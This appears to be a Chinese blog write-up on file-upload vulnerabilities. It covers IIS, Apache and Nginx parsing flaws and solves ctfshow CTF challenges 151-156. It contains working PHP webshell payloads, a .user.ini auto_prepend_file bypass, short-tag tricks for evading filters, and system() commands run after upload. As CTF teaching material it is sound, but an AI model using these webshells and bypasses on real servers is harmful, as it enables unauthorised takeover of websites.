文件上传漏洞总结及在CTF的运用

发布于 2021-09-30  1322 次阅读


文件上传

参考:https://www.cnblogs.com/chu-jian/p/15553328.html

原理

由于网站在文件上传的地方过滤不严,让攻击者可以任意上传如带有攻击性的文件

知识点

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

危害

可以通过这个漏洞上传后门文件,webshell,可以直接获取网站权限,然后获取服务器的提权,获取内网权限,或去用户信息等等。属于高危漏洞。

查找漏洞的思路:

黑盒

1、目录查找:通过目录扫描获取到文件上传地址,看网站有没有文件上传功能,比如会员中心上传头像等等。

(1)字典目录扫描探针文件上传构造地址

(2)字典目录扫描探针编辑器目录构造地址

2、功能查找:寻找一切存在文件上传的功能应用

(1)个人用户中心是否存在文件上传功能

(2)后台管理系统是否存在文件上传功能

白盒

有了源码,通过代码分析,本地测试。

白盒看三点,中间件,编辑器,功能代码

1、中间件直接看语言环境常见搭配

2、编辑器直接看目录机构或搜索关键字

3、功能代码直接看源码应用或搜索关键字

危害

可以通过这个漏洞上传后门文件,webshell,可以直接获取网站权限,然后获取服务器的提权,获取内网权限,或去用户信息等等。属于高危漏洞。

修复

分类

中间件解析

文件上传的思路之一,针对网站的中间件爆出的解析漏洞进行文件上传

1.IIS6.0版本

(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析,如x.asp/x.jpg,x.jpg就会被当作asp解析 (2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析,如x.asp;.x.jpg,x.jpg就会被当作asp解析

2.apache低版本(2.x)

如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.ddd,可以被当作php文件进行解析,从最后一个.ddd开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。

3.apache换行解析漏洞(2.4.0--2.4.29)

在解析PHP时,1.php\x0A(或修改后的hex为0a或文件名+%0A)将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

换行解析案例:CVE-2017-15715

4.Nginx低版本、IIS7.x

上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。

5.Nginx文件名逻辑(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)

我们只需要上传一个空格结尾的文件,即可使PHP解析

nginx.conf配置不当

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

案例:CVE-2013-4547

编辑器

一些网站会引用编辑器实现文件上传,去网上找爆出的漏洞来实现

waf绕过

遇到不同的waf找不同的方法

实操案例

ctfshow文件上传151-170

参考:https://blog.csdn.net/weixin_51614272/article/details/122968083

上传成功后的命令:

1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母

151

js前端验证 直接修改js即可

152

MIME类型content-type验证 抓包修改为图片类型 或者将后缀改为php即可

常见的MIME类型:

超文本标记语言文本:.html——>text/html
xml文档:.xml——>text/xml
XHTML文档:.xhtml——>application/xhtml+xml
普通文本:.txt——>text/plain
RTF文本:.rtf——>application/rtf
png图片: .png——>image/png

153

.user.ini原理 :https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:<?php eval($_POST[x]);?>

当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件,在本题中的upload目录下有一个index.php文件,上传了

.user.ini文件后,再上传的文件(含php木马)就会包含在同一目录下的php文件里(此处为index.php)执行

154-156

154对php过滤 利用以下

JS验证+user.ini+短标签

<? echo '123';?>                                       //前提是开启配置参数short_open_tags=on

<?=(表达式)?>                                           //不需要开启参数设置

<% echo '123';%>                                       //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; </script>             //不需要修改参数开关

payload:
    .user.ini:auto_prepend_file=test.png
    test.png:<?=eval($_POST[x]);?>
最后更新于 2023-03-14